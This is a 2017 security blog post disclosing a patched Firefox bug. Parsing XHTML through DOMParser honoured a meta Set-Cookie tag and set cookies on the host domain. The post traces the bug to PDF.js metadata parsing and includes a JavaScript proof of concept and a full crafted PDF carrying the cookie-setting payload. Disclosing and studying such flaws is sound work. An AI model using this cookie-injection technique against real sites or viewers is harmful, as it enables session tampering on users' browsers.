Tuesday, November 14, 2017

Firefox - settings cookie via DOMParser



Firefox < 57 - settings cookie via DOMParser


While doing some research I discovered a interesting behavior in Firefox.
The following JavaScript code stores a XHTML document as a string in the meta variable.
Afterwards the variable is parsed via the DOMParser interface, which returns a valid XMLDocument:

meta = `<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppt=qqq' />
</head>

<body>
  some content
</body>
</html>`


var parser = new DOMParser();
meta = parser.parseFromString(meta, 'application/xml');

While parsing the defined XHTML structure, Firefox parses the meta tag and sets the cookie pppt=qqq. You would assume the cookie would be solely in the context of the XHTML document but I discovered that it is actually set on the domain executing the PoC.

This means, in case a website eg. example.com is parsing an user controlled string via DOMParser, it is possible to set cookies for example.com. It must be noted that this behavior is only present for xml/xhtml context inside parseFromString, text/html does not suffer from this vulnerability.


So - is that really interesting??? Yeah, lets set cookies via a PDF!


I actually discovered this vulnerability while I had a look at the implementation of PDF.js.
Lets have a look:

File:
pdf.js-master\src\display\metadata.js

Code:
function Metadata(meta) {
  if (typeof meta === 'string') {
    // Ghostscript produces invalid metadata
    meta = fixMetadata(meta);

    var parser = new DOMParser();
    meta = parser.parseFromString(meta, 'application/xml');


Some background information: The PDF standard defines two ways to define metadata of a document. As the old way was limited in the amount of info an author could add, another metadata object was added, which is an XML structure. PDF.js is parsing this XML structure to extract the information. This is done by passing the structure to the DOMParser, therefore being vulnerable to the cookie vulnerable described above.

I reported this vulnerability to Mozilla as well as to the PDF.js team. PDF.js decided to drop the call to DOMParser as it was an overkill and switched to SimpleXML parser to parse the metadata structure. Firefox Nightly was already patched and it finally landed in Firefox stable.


The following example PDF is demonstrating this behavior. I modified an example PDF published by corkami:


%PDF-1.1
1 0 obj
<<
% /Type /Catalog
/Pages 2 0 R
    /AcroForm 5 0 R
    /Metadata 14 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
/Type /Page
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Arial
>>
>>
>>
>>
endobj

4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj

5 0 obj
<< /DA (/Helv 0 Tf 0 g ) 
/DR << /Encoding << /PDFDocEncoding 10 0 R >> 
/Font << /Helv 11 0 R /ZaDb 12 0 R >> >> /Fields [ 13 0 R ] >>
endobj

10 0 obj
<< /Differences [ 24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde 39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright /minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron /Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 160 /Euro 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot /.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine 188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis ] /Type /Encoding >>
endobj

11 0 obj
<< /BaseFont /Helvetica /Encoding 10 0 R /Name /Helv /Subtype /Type1 /Type /Font >>
endobj


12 0 obj
<< /BaseFont /ZapfDingbats /Name /ZaDb /Subtype /Type1 /Type /Font >>
endobj

13 0 obj
<< /AP << /N 20 0 R >> /DA (/Helv 12 Tf 0 g) /DS (font: Helvetica,sans-serif 12.0pt; text-align:left; color:#000000 ) /DV (<h1>aaaa) /F 4 /FT /Tx /Ff 33554432 /MK << >> /P 17 0 R /RV (<h1>aaaa) /Rect [ 113.334 752.844 407.626 801.577 ] /Subtype /Widget /T (Text1) /Type /Annot >>
endobj

14 0 obj
<</Length 2565/Subtype/XML/Type/Metadata>>
stream
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppa=qqq' />
</head>
<body>
  some content
</body>
</html>
endstream
endobj


trailer
<<
/Root 1 0 R
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012